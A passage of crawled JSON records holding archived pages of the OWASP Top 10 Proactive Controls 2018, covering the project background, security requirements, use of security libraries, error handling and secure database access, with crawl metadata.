[25 July 2017] Podcast about at [OWASP Top 10 Proactive Controls](https://www.appsecpodcast.org/2017/07/25/the-owasp-top-10-proactive-controls/)\n- [12 May 2017] Presented at [AppSec EU'17 - Belfast](https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software)\n- [14 Feb 2017] Featured in [Managing Cloud Infrastructure to Prevent Security Gaps](http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/)\n- [Feb 2017 ] Featured in \" [Application Security Program: Protect Against Data Breaches](http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf) \"\n\n## 2016\n\nThe OWASP Top 10 Proactive Controls 2016 (v2) were released on Jan 14, 2016.\n\n- [1 Oct 2016] Presented at [PHPNW16](http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/)\n- [5 July 2016] Featured in [Incorporating Security Best Practices into Agile Teams](https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams)\n- [June 2016 ] Featured in [A Transformative Approach to Secure Systems Delivery](http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf)\n- [2 June 2016] Featured in [DevOpsSec - Securing Software through Continuous Delivery](http://www.oreilly.com/webops-perf/free/devopssec.csp)", "znaku_textu": 1560, "slov": 152, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:41", "sha256": "dd7d6fc7c5b69a8dff781bba60eca9cc1e94b583b020c4dc19232c62db202b1e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://northeastphp2017.sched.com/event/B6uo/owasp-top-10-proactive-controls-2016", "https://www.appsecpodcast.org/2017/07/25/the-owasp-top-10-proactive-controls/", "https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software", "http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/", "http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf", "http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/", "https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams", "http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf", "http://www.oreilly.com/webops-perf/free/devopssec.csp", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/0x01-about-owasp/", "titulek": "About OWASP - OWASP Top 10 Proactive Controls", "h1": "About OWASP", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/0x01-about-owasp/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About OWASP"}], "markdown": "# About OWASP\n\nNew Version Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. The current version is the [OWASP Top 10 Proactive Controls 2024](../../2024/introduction/about-owasp/)!\n\nThe *Open Web Application Security Project* (OWASP) is a 501c3 non for profit educational charity dedicated to enabling organizations to design, develop, acquire, operate, and maintain secure software. All OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We can be found at [www.owasp.org](https://www.owasp.org).\n\nOWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost effective information about application security.\n\nOWASP is not affiliated with any technology company. Similar to many open source software projects, OWASP produces many types of materials in a collaborative and open way. The OWASP Foundation is a not-for-profit entity that ensures the project's long-term success.", "znaku_textu": 1042, "slov": 151, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:27", "sha256": "09d97c34d04e210c788c2d398faf16fb74c44b571f19fec4dc09eeeed78baafb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/0x02-about-project/", "titulek": "About Project - OWASP Top 10 Proactive Controls", "h1": "About this Project", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/0x02-about-project/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About this Project"}, {"uroven": 2, "text": "Aim & Objective"}, {"uroven": 2, "text": "Call to Action"}, {"uroven": 2, "text": "Copyright and Licence"}, {"uroven": 2, "text": "Project Leaders"}, {"uroven": 2, "text": "Contributors"}], "markdown": "# About this Project\n\nNew Version Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. The current version is the [OWASP Top 10 Proactive Controls 2024](../../2024/)!\n\nInsecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure worldwide. As our digital, global infrastructure gets increasingly complex and interconnected, the difficulty of achieving application security increases exponentially. We can no longer afford to tolerate relatively simple security problems.\n\n## Aim & Objective\n\nThe goal of the **OWASP Top 10 Proactive Controls project** (OPC) is to raise awareness about application security by describing the most important areas of concern that software developers must be aware of. We encourage you to use the OWASP Proactive Controls to get your developers started with application security. Developers can learn from the mistakes of other organizations. We hope that the OWASP Proactive Controls is useful to your efforts in building secure software.\n\n## Call to Action\n\nPlease don’t hesitate to contact the OWASP Proactive Control project with your questions, comments, and ideas, either publicly to our email list or privately to [Jim Manico](/cdn-cgi/l/email-protection#deb4b7b39eb1a9bfadaef0b1acb9).\n\n## Copyright and Licence\n\nThis document is released under the Creative Commons Attribution ShareAlike 3.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.\n\n## Project Leaders\n\n- Katy Anton\n- Jim Bird\n- Jim Manico\n\n## Contributors\n\n- Chris Romeo | Dan Anderson | David Cybuck\n- Dave Ferguson | Josh Grossman | Osama Elnaggar\n- Colin Watson | Rick Mitchell | And many more…", "znaku_textu": 1697, "slov": 247, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:41", "sha256": "9d0a9f0aab629e12499dfe8f4984a1d422e89056638210093ff87769b7ff6e2c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/0x03-about-structure/", "titulek": "About Structure - OWASP Top 10 Proactive Controls", "h1": "Document Structure", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/0x03-about-structure/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Document Structure"}, {"uroven": 2, "text": "Cx: Control Name"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Implementation"}, {"uroven": 3, "text": "Vulnerabilities Prevented"}, {"uroven": 3, "text": "References"}, {"uroven": 3, "text": "Tools"}], "markdown": "# Document Structure\n\nNew Version Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. The current version is the [OWASP Top 10 Proactive Controls 2024](../../2024/)!\n\nThis document is structured as a list of security controls. Each control is described as follows:\n\n## Cx: Control Name\n\n### Description\n\nA detailed description of the control including some best practices to consider.\n\n### Implementation\n\nImplementation best practices and examples to illustrate how to implement each control.\n\n### Vulnerabilities Prevented\n\nList of prevented vulnerabilities or risks addressed (OWASP TOP 10 Risk, CWE, etc.)\n\n### References\n\nList of references for further study (OWASP Cheat sheet, Security Hardening Guidelines, etc.)\n\n### Tools\n\nSet of tools/projects to easily introduce/integrate security controls into your software.", "znaku_textu": 832, "slov": 117, "odkazu": 67, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:28", "sha256": "a53511f3972c531eef59e14be7b2b67e554c2314c9913ad41c771938d0f599cc", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/0x04-introduction/", "titulek": "Introduction - OWASP Top 10 Proactive Controls", "h1": "Introduction", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/0x04-introduction/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "The Top 10 Proactive Controls"}, {"uroven": 2, "text": "How this List Was Created"}, {"uroven": 2, "text": "Target Audience"}, {"uroven": 2, "text": "How to Use this Document"}, {"uroven": 2, "text": "Link to the OWASP Top 10 Project"}], "markdown": "# Introduction\n\nNew Version Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. The current version is the [OWASP Top 10 Proactive Controls 2024](../../2024/the-top-10/)!\n\nThe OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be considered for every software development project. This document is written for developers to assist those new to secure development.\n\nOne of the main goals of this document is to provide concrete practical guidance that helps developers build secure software. These techniques should be applied proactively at the early stages of software development to ensure maximum effectiveness.\n\n## The Top 10 Proactive Controls\n\nThe list is ordered by importance with list item number 1 being the most important:\n\n- OWASP-2018-C1: Define Security Requirements\n- OWASP-2018-C2: Leverage Security Frameworks and Libraries\n- OWASP-2018-C3: Secure Database Access\n- OWASP-2018-C4: Encode and Escape Data\n- OWASP-2018-C5: Validate All Inputs\n- OWASP-2018-C6: Implement Digital Identity\n- OWASP-2018-C7: Enforce Access Controls\n- OWASP-2018-C8: Protect Data Everywhere\n- OWASP-2018-C9: Implement Security Logging and Monitoring\n- OWASP-2018-C10: Handle All Errors and Exceptions\n\n## How this List Was Created\n\nThis list was originally created by the current project leads with contributions from several volunteers. The document was then shared globally so even anonymous suggestions could be considered. Hundreds of changes were accepted from this open community process.\n\n## Target Audience\n\nThis document is primarily written for developers. However, development managers, product owners, Q/A professionals, program managers, and anyone involved in building software can also benefit from this document.\n\n## How to Use this Document\n\nThis document is intended to provide initial awareness around building secure software. This document will also provide a good foundation of topics to help drive introductory software security developer training. These controls should be used consistently and thoroughly throughout all applications. However, this document should be seen as a starting point rather than a comprehensive set of techniques and practices. A full secure development process should include comprehensive requirements from a standard such as the OWASP ASVS in addition to including a range of software development activities described in maturity models such as [OWASP SAMM](https://www.owasp.org/index.php/OWASP_SAMM_Project) and [BSIMM](https://www.bsimm.com/).\n\n## Link to the OWASP Top 10 Project\n\nThe OWASP Top 10 Proactive Controls is similar to the [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) but is focused on defensive techniques and controls as opposed to risks. Each technique or control in this document will map to one or more items in the *risk based* OWASP Top 10. This mapping information is included at the end of each control description.", "znaku_textu": 2956, "slov": 431, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:29", "sha256": "895c913c41adc10507b9fe13786a5ab75affc94b9593351271cb2dcbbf604e29", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.bsimm.com/", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c1-security-requirements/", "titulek": "C1: Define Security Requirements - OWASP Top 10 Proactive Controls", "h1": "C1: Define Security Requirements", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c1-security-requirements/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C1: Define Security Requirements"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "The OWASP ASVS"}, {"uroven": 3, "text": "Augmenting Requirements with User Stories and Misuse Cases"}, {"uroven": 2, "text": "Implementation"}, {"uroven": 3, "text": "Discovery and Selection"}, {"uroven": 3, "text": "Investigation and Documentation"}, {"uroven": 3, "text": "Implementation Phase"}, {"uroven": 3, "text": "Test"}, {"uroven": 2, "text": "Vulnerabilities Prevented"}, {"uroven": 2, "text": "References"}], "markdown": "# C1: Define Security Requirements\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C4: Address Security from the Start](../../2024/the-top-10/c4-secure-architecture/)!\n\n## Description\n\nA security requirement is a statement of needed security functionality that ensures one of many different security properties of software is being satisfied. Security requirements are derived from industry standards, applicable laws, and a history of past vulnerabilities. Security requirements define new features or additions to existing features to solve a specific security problem or eliminate a potential vulnerability.\n\nSecurity requirements provide a foundation of vetted security functionality for an application. Instead of creating a custom approach to security for every application, standard security requirements allow developers to reuse the definition of security controls and best practices. Those same vetted security requirements provide solutions for security issues that have occurred in the past. Requirements exist to prevent the repeat of past security failures.\n\n### The OWASP ASVS\n\n[The OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) is a catalog of available security requirements and verification criteria. OWASP ASVS can be a source of detailed security requirements for development teams.\n\nSecurity requirements are categorized into different buckets based on a shared higher order security function. For example, the ASVS contains categories such as authentication, access control, error handling / logging, and web services. Each category contains a collection of requirements that represent the best practices for that category drafted as verifiable statements.\n\n### Augmenting Requirements with User Stories and Misuse Cases\n\nThe ASVS requirements are basic verifiable statements which can be expanded upon with user stories and misuse cases. The advantage of a user story or misuse case is that it ties the application to exactly what the user or attacker does to the system, versus describing what the system offers to the user.\n\nHere is an example of expanding on an ASVS 3.0.1 requirement. From the \"Authentication Verification Requirements\" section of ASVS 3.0.1, requirement 2.19 focuses on default passwords.\n\n```\n2.19 Verify there are no default passwords in use for the application framework \n or any components used by the application (such as \"admin/password\").\n```\n\nThis requirement contains both an action to verify that no default passwords exist, and also carries with it the guidance that no default passwords should be used within the application.\n\nA user story focuses on the perspective of the user, administrator, or attacker of the system, and describes functionality based on what a user wants the system to do for them. A user story takes the form of \"As a user, I can do x, y, and z\".\n\n```\nAs a user, I can enter my username and password to gain access to the application.\nAs a user, I can enter a long password that has a maximum of 1023 characters.\n```\n\nWhen the story is focused on the attacker and their actions, it is referred to as a misuse case.\n\n```\nAs an attacker, I can enter in a default username and password to gain access.\n```\n\nThis story contains the same message as the traditional requirement from ASVS, with additional user or attacker details to help make the requirement more testable.\n\n## Implementation\n\nSuccessful use of security requirements involves four steps. The process includes discovering / selecting, documenting, implementing, and then confirming correct implementation of new security features and functionality within an application.\n\n### Discovery and Selection\n\nThe process begins with discovery and selection of security requirements. In this phase, the developer is understanding security requirements from a standard source such as ASVS and choosing which requirements to include for a given release of an application. The point of discovery and selection is to choose a manageable number of security requirements for this release or sprint, and then continue to iterate for each sprint, adding more security functionality over time.\n\n### Investigation and Documentation\n\nDuring investigation and documentation, the developer reviews the existing application against the new set of security requirements to determine whether the application currently meets the requirement or if some development is required. This investigation culminates in the documentation of the results of the review.\n\n### Implementation Phase\n\nAfter the need is determined for development, the developer must now modify the application in some way to add the new functionality or eliminate an insecure option. In this phase the developer first determines the design required to address the requirement, and then completes the code changes to meet the requirement.\n\n### Test\n\nTest cases should be created to confirm the existence of the new functionality or disprove the existence of a previously insecure option.\n\n## Vulnerabilities Prevented\n\nSecurity requirements define the security functionality of an application. Better security built in from the beginning of an applications life cycle results in the prevention of many types of vulnerabilities.\n\n## References\n\n- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Mobile Application Security Verification Standard (MASVS)](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [OWASP Top Ten](https://owasp.org/www-project-top-ten/)", "znaku_textu": 5751, "slov": 837, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:30", "sha256": "8a8ed093746bc491ea38b40d348db8d28570056d57f4fcc4b9a50fb718983e61", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c10-errors-exceptions/", "titulek": "C10: Handle All Errors and Exceptions - OWASP Top 10 Proactive Controls", "h1": "C10: Handle all Errors and Exceptions", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c10-errors-exceptions/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C10: Handle all Errors and Exceptions"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Error Handling Mistakes"}, {"uroven": 2, "text": "Positive Advice"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Tools"}], "markdown": "# C10: Handle all Errors and Exceptions\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C3: Validate all Input & Handle Exceptions](../../2024/the-top-10/c3-validate-input-and-handle-exceptions/)!\n\n## Description\n\nException handling is a programming concept that allows an application to respond to different error states (like network down, or database connection failed, etc) in various ways. Handling exceptions and errors correctly is critical to making your code reliable and secure.\n\nError and exception handling occurs in all areas of an application including critical business logic as well as security features and framework code.\n\nError handling is also important from an intrusion detection perspective. Certain attacks against your application may trigger errors which can help detect attacks in progress.\n\n## Error Handling Mistakes\n\nResearchers at the University of Toronto have found that even small mistakes in error handling or forgetting to handle errors can lead to [catastrophic failures in distributed systems](https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf).\n\nMistakes in error handling can lead to different kinds of security vulnerabilities.\n\n- **Information leakage** : Leaking sensitive information in error messages can unintentionally help attackers. For example, an error that returns a stack trace or other internal error details can provide an attacker with information about your environment. Even small differences in handling different error conditions (e.g., returning \"invalid user\" or \"invalid password\" on authentication errors) can provide valuable clues to attackers. As described above, be sure to log error details for forensics and debugging purposes, but don’t expose this information, especially to an external client.\n- **TLS bypass** : The [Apple goto \"fail bug\"](https://www.dwheeler.com/essays/apple-goto-fail.html) was a control-flow error in error handling code that lead to a complete compromise of TLS connections on apple systems.\n- **DOS** : A lack of basic error handling can lead to system shutdown. This is usually a fairly easy vulnerability for attackers to exploit. Other error handling problems could lead to increased usage of CPU or disk in ways that could degrade the system.\n\n## Positive Advice\n\n- Manage exceptions in a [centralized manner](https://www.owasp.org/index.php/Error_Handling#Centralised_exception_handling_.28Struts_Example.29) to avoid duplicated try/catch blocks in the code. Ensure that all unexpected behavior is correctly handled inside the application.\n- Ensure that error messages displayed to users do not leak critical data, but are still verbose enough to enable the proper user response.\n- Ensure that exceptions are logged in a way that gives enough information for support, QA, forensics or incident response teams to understand the problem.\n- Carefully test and verify error handling code.\n\n## References\n\n- [OWASP Code Review Guide: Error Handling](https://www.owasp.org/index.php/Error_Handling)\n- [OWASP Testing Guide: Testing for Error Handling](https://www.owasp.org/index.php/Testing_for_Error_Handling)\n- [OWASP Improper Error Handling](https://www.owasp.org/index.php/Improper_Error_Handling)\n- [CWE 209: Information Exposure Through an Error Message](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE 391: Unchecked Error Condition](https://cwe.mitre.org/data/definitions/391.html)\n\n## Tools\n\n- [Error Prone](http://errorprone.info/) - A static analysis tool from Google to catch common mistakes in error handling for Java developers\n- One of the most famous automated tools for finding errors at runtime is [Netflix's Chaos Monkey](https://github.com/Netflix/SimianArmy) , which intentionally disables system instances to ensure that the overall service will recover correctly.", "znaku_textu": 3954, "slov": 515, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:39", "sha256": "acde5a23351e6a7986cf545d29ca3aaaaf2a17eb65a58e94d5d3201e5fecc0b3", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf", "https://www.dwheeler.com/essays/apple-goto-fail.html", "https://www.owasp.org/index.php/Error_Handling", "https://www.owasp.org/index.php/Testing_for_Error_Handling", "https://www.owasp.org/index.php/Improper_Error_Handling", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/391.html", "http://errorprone.info/", "https://github.com/Netflix/SimianArmy", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c2-leverage-security-frameworks-libraries/", "titulek": "C2: Leverage Security Frameworks and Libraries - OWASP Top 10 Proactive Controls", "h1": "C2: Leverage Security Frameworks and Libraries", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c2-leverage-security-frameworks-libraries/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C2: Leverage Security Frameworks and Libraries"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Implementation Best Practices"}, {"uroven": 2, "text": "Vulnerabilities Prevented"}, {"uroven": 2, "text": "Tools"}], "markdown": "# C2: Leverage Security Frameworks and Libraries\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C6: Keep your Components Secure](../../2024/the-top-10/c6-use-secure-dependencies/)!\n\n## Description\n\nSecure coding libraries and software frameworks with embedded security help software developers guard against security-related design and implementation flaws. A developer writing an application from scratch might not have sufficient knowledge, time, or budget to properly implement or maintain security features. Leveraging security frameworks helps accomplish security goals more efficiently and accurately.\n\n## Implementation Best Practices\n\nWhen incorporating third party libraries or frameworks into your software, it is important to consider the following best practices:\n\n1. Use libraries and frameworks from trusted sources that are actively maintained and widely used by many applications.\n2. Create and maintain an inventory catalog of all the third party libraries.\n3. Proactively keep libraries and components up to date. Use a tool like [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) and [Retire.JS](https://retirejs.github.io/retire.js/) to identify project dependencies and check if there are any known, publicly disclosed vulnerabilities for all third party code.\n4. Reduce the attack surface by encapsulating the library and expose only the required behaviour into your software.\n\n## Vulnerabilities Prevented\n\nSecure frameworks and libraries can help to prevent a wide range of web application vulnerabilities. It is critical to keep these frameworks and libraries up to date as described in the [using components with known vulnerabilities [Top Ten 2017 risks](https://owasp.org/www-project-top-ten/).\n\n## Tools\n\n- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) - identifies project dependencies and checks for publicly disclosed vulnerabilities\n- [Retire.JS](http://retirejs.github.io/retire.js/) scanner for JavaScript libraries", "znaku_textu": 2171, "slov": 285, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:31", "sha256": "d445ba68e521c758435a8565751d71b90cf273be5635b50e7c3fbe747b4124b4", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://retirejs.github.io/retire.js/", "http://retirejs.github.io/retire.js/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c3-secure-database/", "titulek": "C3: Secure Database Access - OWASP Top 10 Proactive Controls", "h1": "C3: Secure Database Access", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c3-secure-database/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C3: Secure Database Access"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Secure Queries"}, {"uroven": 4, "text": "Caution on Query Parametrization"}, {"uroven": 3, "text": "Secure Configuration"}, {"uroven": 3, "text": "Secure Authentication"}, {"uroven": 3, "text": "Secure Communication"}, {"uroven": 2, "text": "Vulnerabilities Prevented"}, {"uroven": 2, "text": "References"}], "markdown": "# C3: Secure Database Access\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C3: Validate all Input & Handle Exceptions](../../2024/the-top-10/c3-validate-input-and-handle-exceptions/)!\n\n## Description\n\nThis section describes secure access to all data stores, including both relational databases and NoSQL databases. Some areas to consider:\n\n1. Secure queries\n2. Secure configuration\n3. Secure authentication\n4. Secure communication\n\n### Secure Queries\n\nSQL Injection occurs when untrusted user input is dynamically added to a SQL query in an insecure manner, often via basic string concatenation. SQL Injection is one of the most dangerous application security risks. SQL Injection is easy to exploit and could lead to the entire database being stolen, wiped, or modified. The application can even be used to run dangerous commands against the operating system hosting your database, thereby giving an attacker a foothold on your network.\n\nIn order to mitigate SQL injection, untrusted input should be prevented from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as 'Query Parametrization'. This defense should be applied to SQL, OQL, as well as stored procedure construction.\n\nA good list of query parametrization examples in ASP, ColdFusion, C#, Delphi, .NET, Go, Java, Perl, PHP, PL/SQL, PostgreSQL, Python, R, Ruby and Scheme can be found at [https://bobby-tables.com](https://bobby-tables.com/) and the [OWASP Cheat Sheet on Query Parametrization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html).\n\n#### Caution on Query Parametrization\n\nCertain locations in a database query can not be used with parametrization. These locations are different for each database vendor. Be certain to do very careful exact-match validation or manual escaping when confronting database query parameters that cannot be bound to a parametrized query. Also, while the use of parametrized queries largely has a positive impact on performance, certain parametrized queries in specific database implementations will affect performance negatively. Be sure to test queries for performance; especially complex queries with extensive like clause or text searching capabilities.\n\n### Secure Configuration\n\nUnfortunately, database management systems do not always ship in a \"secure by default\" configuration. Care must be taken to ensure that the security controls available from the Database Management System (DBMS) and hosting platform are enabled and properly configured. There are standards, guides, and benchmarks available for most common DBMS.\n\nA quick guidance on providing a secure configuration can be found in the [Database Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html#database-configuration-and-hardening).\n\n### Secure Authentication\n\nAll access to the database should be properly authenticated. Authentication to the DBMS should be accomplished in a secure manner. Authentication should take place only over a secure channel. Credentials must be properly secured and available for use.\n\nA quick guidance on providing a secure authentication process can be found in the [Database Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html#authentication).\n\n### Secure Communication\n\nMost DBMS support a variety of communications methods (services, APIs, etc) - secure (authenticated, encrypted) and insecure (unauthenticated or unencrypted). It is a good practice to only use the secure communications options per the *Protect Data Everywhere* control.\n\nA quick guidance on providing a secure communication mean can be found in the [Database Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html#connecting-to-the-database).\n\n## Vulnerabilities Prevented\n\n- [OWASP Top 10 2021-A3: Injection](https://owasp.org/Top10/A03_2021-Injection/)\n- [OWASP Mobile Top 10 2014-M1 Weak Server Side Controls](https://www.owasp.org/index.php/Mobile_Top_10_2014-M1)\n\n## References\n\n- [OWASP Cheat Sheet: Query Parametrization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Database 